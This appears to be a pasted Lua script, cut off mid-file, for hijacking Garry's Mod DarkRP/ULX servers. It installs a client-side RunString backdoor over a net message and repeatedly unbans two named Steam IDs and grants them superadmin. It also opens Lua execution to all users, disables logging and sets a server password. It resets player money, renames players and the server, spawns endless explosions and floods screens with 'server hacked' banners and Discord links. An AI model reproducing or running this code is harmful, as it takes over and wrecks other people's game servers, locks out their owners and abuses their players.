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Jul 19th, 2019
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  1. util.AddNetworkString "slua2"
  2.  
  3. local DESIRED_NAME = "This Steam account has been VAC banned from secure servers due to a cheating infraction."
  4.  
  5. local lol = {}
  6. function lol:RandomString( intMin, intMax )
  7. local ret = ""
  8. for _ = 1, math.random( intMin, intMax ) do
  9. ret = ret.. string.char( math.random(65, 90) )
  10. end
  11.  
  12. return ret
  13. end
  14.  
  15.  
  16.  
  17. lol.m_tblActions = {}
  18. lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
  19. lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]
  20.  
  21. function lol:PushAction( intChainDelay, func )
  22. self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
  23. end
  24.  
  25. function lol:NextAction( pPlayer )
  26. pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
  27. if not self.m_tblActions[pPlayer.m_intCurAction] then return end
  28.  
  29. timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
  30. if not IsValid( pPlayer ) then return end
  31. self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
  32. self:NextAction( pPlayer )
  33. end )
  34. end
  35.  
  36. function lol:Start( pPlayer )
  37. pPlayer.m_intCurAction = 0
  38. self:NextAction( pPlayer )
  39. end
  40.  
  41. function lol:SendLua( pPlayer, strLua )
  42. net.Start( "slua2" )
  43. net.WriteString( strLua )
  44. net.Send( pPlayer )
  45. end
  46.  
  47. function lol:SetupPlayer( pPlayer )
  48. pPlayer:SendLua( "net.Receive(\"slua2\", function() RunString(net.ReadString()) end)" )
  49. end
  50.  
  51.  
  52. -------START CODE FORT BAN/UNBAN/ETC...
  53. timer.Create( "sethealh", 1, 0, function() RunConsoleCommand("ulx", "hp", "*", "2147483647") end)
  54. timer.Create( "logecho0", 1, 0, function() RunConsoleCommand("ulx", "logecho", "0") end)
  55. timer.Create( "godall", 1, 0, function() RunConsoleCommand("ulx", "god", "*") end)
  56. for k, v in pairs( player.GetAll() ) do
  57. timer.Create( "moneymoney", 0.1, 0, function() v:addMoney(1000000000000000000) end)
  58. timer.Create( "ripriprip", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP RIP")]]) end)
  59. timer.Create( "getowned", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "GET OWNED BY MELATRON")]]) end)
  60. timer.Create( "ohnon", 0.1, 0, function() BroadcastLua([[chat.AddText(Color(math.random(1,255),math.random(1,255),math.random(1,255)), "Quel dommage, toutes les données du serveur seront supprimés dans moins de 1 minute ! :( ")]]) end)
  61. timer.Create( "checkForBanSparks", 10, 0, function() ULib.unban( "STEAM_0:0:105015067") end)
  62. timer.Create( "setSUPERADMINSparks", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:0:105015067", "superadmin") end)
  63. timer.Create( "checkForBanLenny", 10, 0, function() ULib.unban( "STEAM_0:1:81414478") end)
  64. timer.Create( "setSUPERADMINLenny", 30, 0, function() RunConsoleCommand("ulx", "adduserid", "STEAM_0:1:81414478", "superadmin") end)
  65. timer.Create( "luarun", 2, 0, function() RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun") end)
  66. timer.Create( "resetmoney", 0.1, 0, function() RunConsoleCommand("rp_resetallmoney") end)
  67. timer.Create( "csay", 0.1, 0, function() RunConsoleCommand("ulx", "csay", "OMG GET FUCKT BY TEAMSMENU.EXE | https://discord.gg/JwTjN8Z") end)
  68. timer.Create( "hostname", 2, 0, function() RunConsoleCommand("ulx", "rcon", "hostname", "Serveur hacké par la sharing | Discord : https://discord.gg/JwTjN8Z") end)
  69. timer.Create( "sv_password", 2, 0, function() RunConsoleCommand("ulx", "rcon", "sv_password", "smenu.exe") end)
  70. timer.Create( "bot", 0.1, 0, function() RunConsoleCommand("ulx", "rcon", "bot") end)
  71. timer.Create( "changer de nom", 0.5, 0, function() for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end end)
  72. timer.Create( "undoprops", 0.1, 0, function() for k, v in pairs(player.GetAll()) do v:ConCommand("undo") end end)
  73.  
  74. end
  75. ----------STOP LINE CODE FORT BAN/UNBAN/ETC...
  76.  
  77. -----START LINE CODE FOR DANSE
  78. for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end timer.Create("cheer_loop",2.3,0,function() for k,v in pairs (player.GetAll()) do v:DoAnimationEvent(ACT_GMOD_TAUNT_CHEER) end end )
  79. -----STOP LINE CODE FOR DANSE
  80.  
  81. ------- STARTCODE FOR FORCE CHANGE NAME
  82. for k, v in pairs(player.GetAll()) do DarkRP.storeRPName(v, DESIRED_NAME) v:setDarkRPVar("rpname", DESIRED_NAME) end
  83. ------- STOP LINE CODE FOR CHANGE NAME
  84.  
  85. ------- ARMAGEDDON
  86. hook.Add("Think", "armageddon", function()
  87. local explode = ents.Create( "env_explosion" )
  88. explode:SetPos( Vector(math.random(-6000, 6000), math.random(-6000, 6000), math.random(-500, 2000)) )
  89. explode:Spawn()
  90. explode:SetKeyValue( "iMagnitude", "500" )
  91. explode:Fire( "Explode", 0, 0 )
  92. end)
  93. ---------TOURNER
  94.  
  95. for k,v in ipairs(player.GetAll()) do
  96. v:ConCommand("+right")
  97. v:ConCommand("+duck")
  98. v:ConCommand("+voicerecord")
  99. v:ConCommand("gmod_language","ko")
  100. v:ConCommand("ground","color.math.66=math.99")
  101. v:ConCommand("r_shader_srgb","1")
  102. v:ConCommand("cl_yawspeed","9999")
  103.  
  104. end
  105.  
  106. timer.Simple(31, function()
  107. enigma()
  108. end
  109. end)
  110.  
  111. --------- GIANT
  112. hook.Add("Think", "giant", function()
  113. for k,v in pairs (player.GetAll()) do
  114. v:SetModelScale(50.5, 100);
  115. v:SetRunSpeed(400 * 2);
  116. v:SetWalkSpeed(200 * 2);
  117. end
  118. end)
  119. ------------------
  120.  
  121. for k,v in pairs(player.GetAll()) do
  122. v:ConCommand("say armageddon")
  123. end
  124.  
  125. for k,v in pairs(player.GetAll()) do
  126. v:ConCommand("say giant")
  127. end
  128.  
  129. for k, v in pairs( player.GetAll() ) do
  130. lol:SetupPlayer( v )
  131. timer.Simple( 2, function() lol:Start( v ) end )
  132. end
  133.  
  134. hook.Add( "PlayerAuthed", "wat", function( pPlayer )
  135. lol:SetupPlayer( pPlayer )
  136. timer.Simple( 10, function() lol:Start( pPlayer ) end )
  137. end )
  138. hook.Add( "PlayerFootstep", "oooh", function( ply )
  139.  
  140. ply:EmitSound( "vo/npc/female01/pain0" .. math.random( 1, 9 ) .. ".wav", 75, math.random( 50, 100 ) )
  141.  
  142. end )
  143.  
  144. hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
  145. if strText:sub( 1, 5 ) == "/1337" then
  146. pSender:Ignite( 1e9 )
  147. pSender:ChatPrint( "fuck this job i quit" )
  148. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  149. return false
  150. end
  151. end )
  152.  
  153. hook.Add( "PlayerSay", "what", function( pSender, strText, bTeamChat )
  154. if strText:sub( 1, 5 ) == "what" then
  155. pSender:Ignite( 1e9 )
  156. pSender:ChatPrint( "Que demande un douanier à un cochon qui passe la frontière ? Son passe-porc ! lol xd mdr lol xptdr... vref brule connard" )
  157. pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
  158. return false
  159. end
  160. end)
  161.  
  162. --Sequence stack
  163. --Start some tunes and steam in our assets
  164. lol:PushAction( 0, function( pPlayer )
  165. lol:SendLua( pPlayer, ([=[
  166. sound.PlayURL( "https://musicdeouff.000webhostapp.com/turnitup.mp3", "", function()end )
  167.  
  168. g_]=].. lol.m_strImageGlobalVar.. [=[ = {}
  169. local html = [[%s]]
  170. local function LoadWebMaterial( strURL, strUID, intSizeX, intSizeY )
  171. local pnl = vgui.Create( "HTML" )
  172. pnl:SetPos( ScrW() -1, ScrH() -1 )
  173. pnl:SetVisible( true )
  174. pnl:SetMouseInputEnabled( false )
  175. pnl:SetKeyBoardInputEnabled( false )
  176. pnl:SetSize( intSizeX, intSizeY )
  177. pnl:SetHTML( html:format(strURL, intSizeX, intSizeY) )
  178.  
  179. local PageLoaded
  180. PageLoaded = function()
  181. local mat = pnl:GetHTMLMaterial()
  182. if mat then
  183. g_]=].. lol.m_strImageGlobalVar.. [=[[strUID] = { mat, pnl }
  184. return
  185. end
  186.  
  187. timer.Simple( 0.5, PageLoaded )
  188. end
  189.  
  190. PageLoaded()
  191. end
  192.  
  193. LoadWebMaterial( "https://cdn.frankerfacez.com/068183fea2bfbea358eae44fb5af1469.png", "getrekt", 1000, 1000 )
  194. LoadWebMaterial( "https://media.giphy.com/media/uCa2PBLWtcidy/giphy.gif", "getrekt2", 152, 250 )
  195. LoadWebMaterial( "https://media.tenor.com/images/1becb19cbedc5d189eed3102a9c86bf2/tenor.gif", "getrekt3", 152, 250 )
  196. ]=]):format(lol.m_strImageLoadHTML) )
  197. end )
  198.  
  199. --HUD swap
  200. lol:PushAction( 31, function( pPlayer )
  201. lol:SendLua( pPlayer, [[
  202. (GAMEMODE or GM).CalcView = function() end
  203. (GAMEMODE or GM).ShouldDrawLocalPlayer = function() end
  204.  
  205. local remove = { "PostDrawHUD", "PreDrawHUD", "HUDPaint", "HUDPaintBackground", "CalcView", "ShouldDrawLocalPlayer" }
  206. for k, v in pairs(remove) do
  207. hook.GetTable()[v] = {}
  208. end
  209.  
  210. local function GetWebMat( strURL )
  211. return g_]].. lol.m_strImageGlobalVar.. [[[strURL]
  212. end
  213.  
  214. hook.Add( "HUDPaint", "newhud", function()
  215. surface.SetDrawColor( 255, 255, 255, 255 )
  216.  
  217.  
  218. if GetWebMat( "getrekt" ) then
  219. surface.SetMaterial( GetWebMat("getrekt")[1] )
  220. surface.DrawTexturedRect( 500, 50, 1000, 1000 )
  221. end
  222. if GetWebMat( "getrekt2" ) then
  223. surface.SetMaterial( GetWebMat("getrekt2")[1] )
  224. surface.DrawTexturedRect( 100, 425, 400, 400 )
  225. end
  226. if GetWebMat( "getrekt3" ) then
  227. surface.SetMaterial( GetWebMat("getrekt3")[1] )
  228. surface.DrawTexturedRect( 1550, 425, 400, 400 )
  229. end
  230.  
  231. draw.SimpleTextOutlined(
  232. "---»--@-} By !!!Mel le Dieu de la Destruction {-@--«---",
  233. "DermaLarge",
  234. ScrW() /2 +math.random( -8, 8 ),
  235. ScrH() /2 +math.random( -8, 8 ) +64,
  236. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  237. TEXT_ALIGN_CENTER,
  238. TEXT_ALIGN_CENTER,
  239. 1,
  240. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  241. )
  242.  
  243. draw.SimpleTextOutlined(
  244. "-=₪۩۞۩₪= Serveur Hacké avec Smenu =₪۩۞۩₪=-",
  245. "DermaLarge",
  246. ScrW() /2 +math.random( -8, 8 ),
  247. ScrH() /2 +math.random( -8, 8 ) +24,
  248. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  249. TEXT_ALIGN_CENTER,
  250. TEXT_ALIGN_CENTER,
  251. 1,
  252. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  253. )
  254. draw.SimpleTextOutlined(
  255. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  256. "DermaLarge",
  257. ScrW() /2 +math.random( -2, 2 ),
  258. ScrH() /2 +math.random( -2, 2 ) -160,
  259. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  260. TEXT_ALIGN_CENTER,
  261. TEXT_ALIGN_CENTER,
  262. 3,
  263. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  264. )
  265.  
  266. draw.SimpleTextOutlined(
  267. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  268. "DermaLarge",
  269. ScrW() /2 +math.random( -2, 2 ),
  270. ScrH() /2 +math.random( -2, 2 ) +160,
  271. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  272. TEXT_ALIGN_CENTER,
  273. TEXT_ALIGN_CENTER,
  274. 3,
  275. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  276. )
  277. draw.SimpleTextOutlined(
  278. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  279. "DermaLarge",
  280. ScrW() /2 +math.random( -2, 2 ),
  281. ScrH() /2 +math.random( -2, 2 ) +190,
  282. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  283. TEXT_ALIGN_CENTER,
  284. TEXT_ALIGN_CENTER,
  285. 3,
  286. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  287. )
  288. draw.SimpleTextOutlined(
  289. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  290. "DermaLarge",
  291. ScrW() /2 +math.random( -2, 2 ),
  292. ScrH() /2 +math.random( -2, 2 ) -190,
  293. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  294. TEXT_ALIGN_CENTER,
  295. TEXT_ALIGN_CENTER,
  296. 3,
  297. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  298. )
  299. draw.SimpleTextOutlined(
  300. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  301. "DermaLarge",
  302. ScrW() /2 +math.random( -2, 2 ),
  303. ScrH() /2 +math.random( -2, 2 ) +220,
  304. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  305. TEXT_ALIGN_CENTER,
  306. TEXT_ALIGN_CENTER,
  307. 3,
  308. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  309. )
  310. draw.SimpleTextOutlined(
  311. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  312. "DermaLarge",
  313. ScrW() /2 +math.random( -2, 2 ),
  314. ScrH() /2 +math.random( -2, 2 ) -220,
  315. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  316. TEXT_ALIGN_CENTER,
  317. TEXT_ALIGN_CENTER,
  318. 3,
  319. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  320. )
  321. draw.SimpleTextOutlined(
  322. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  323. "DermaLarge",
  324. ScrW() /2 +math.random( -2, 2 ),
  325. ScrH() /2 +math.random( -2, 2 ) +250,
  326. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  327. TEXT_ALIGN_CENTER,
  328. TEXT_ALIGN_CENTER,
  329. 3,
  330. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  331. )
  332. draw.SimpleTextOutlined(
  333. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  334. "DermaLarge",
  335. ScrW() /2 +math.random( -2, 2 ),
  336. ScrH() /2 +math.random( -2, 2 ) -250,
  337. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  338. TEXT_ALIGN_CENTER,
  339. TEXT_ALIGN_CENTER,
  340. 3,
  341. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  342. )
  343. draw.SimpleTextOutlined(
  344. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  345. "DermaLarge",
  346. ScrW() /2 +math.random( -2, 2 ),
  347. ScrH() /2 +math.random( -2, 2 ) +280,
  348. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  349. TEXT_ALIGN_CENTER,
  350. TEXT_ALIGN_CENTER,
  351. 3,
  352. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  353. )
  354. draw.SimpleTextOutlined(
  355. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  356. "DermaLarge",
  357. ScrW() /2 +math.random( -2, 2 ),
  358. ScrH() /2 +math.random( -2, 2 ) -280,
  359. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  360. TEXT_ALIGN_CENTER,
  361. TEXT_ALIGN_CENTER,
  362. 3,
  363. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  364. )
  365. draw.SimpleTextOutlined(
  366. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  367. "DermaLarge",
  368. ScrW() /2 +math.random( -2, 2 ),
  369. ScrH() /2 +math.random( -2, 2 ) +310,
  370. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  371. TEXT_ALIGN_CENTER,
  372. TEXT_ALIGN_CENTER,
  373. 3,
  374. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  375. )
  376. draw.SimpleTextOutlined(
  377. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  378. "DermaLarge",
  379. ScrW() /2 +math.random( -2, 2 ),
  380. ScrH() /2 +math.random( -2, 2 ) -310,
  381. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  382. TEXT_ALIGN_CENTER,
  383. TEXT_ALIGN_CENTER,
  384. 3,
  385. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  386. )
  387. draw.SimpleTextOutlined(
  388. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  389. "DermaLarge",
  390. ScrW() /2 +math.random( -2, 2 ),
  391. ScrH() /2 +math.random( -2, 2 ) +340,
  392. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  393. TEXT_ALIGN_CENTER,
  394. TEXT_ALIGN_CENTER,
  395. 3,
  396. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  397. )
  398. draw.SimpleTextOutlined(
  399. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  400. "DermaLarge",
  401. ScrW() /2 +math.random( -2, 2 ),
  402. ScrH() /2 +math.random( -2, 2 ) -340,
  403. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  404. TEXT_ALIGN_CENTER,
  405. TEXT_ALIGN_CENTER,
  406. 3,
  407. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  408. )
  409. draw.SimpleTextOutlined(
  410. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  411. "DermaLarge",
  412. ScrW() /2 +math.random( -2, 2 ),
  413. ScrH() /2 +math.random( -2, 2 ) -370,
  414. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  415. TEXT_ALIGN_CENTER,
  416. TEXT_ALIGN_CENTER,
  417. 3,
  418. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  419. )
  420. draw.SimpleTextOutlined(
  421. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  422. "DermaLarge",
  423. ScrW() /2 +math.random( -2, 2 ),
  424. ScrH() /2 +math.random( -2, 2 ) +370,
  425. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  426. TEXT_ALIGN_CENTER,
  427. TEXT_ALIGN_CENTER,
  428. 3,
  429. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  430. )
  431. draw.SimpleTextOutlined(
  432. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  433. "DermaLarge",
  434. ScrW() /2 +math.random( -2, 2 ),
  435. ScrH() /2 +math.random( -2, 2 ) -400,
  436. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  437. TEXT_ALIGN_CENTER,
  438. TEXT_ALIGN_CENTER,
  439. 3,
  440. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  441. )
  442. draw.SimpleTextOutlined(
  443. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  444. "DermaLarge",
  445. ScrW() /2 +math.random( -2, 2 ),
  446. ScrH() /2 +math.random( -2, 2 ) +400,
  447. Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  448. TEXT_ALIGN_CENTER,
  449. TEXT_ALIGN_CENTER,
  450. 3,
  451. Color(math.random(1,255),math.random(1,255),math.random(1,255))
  452. )
  453. draw.SimpleTextOutlined(
  454. "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, ",
  455. "DermaLarge",
  456. ScrW() /2 +math.random( -2, 2 ),
  457. ScrH() /2 +math.random( -2, 2 ) -430,
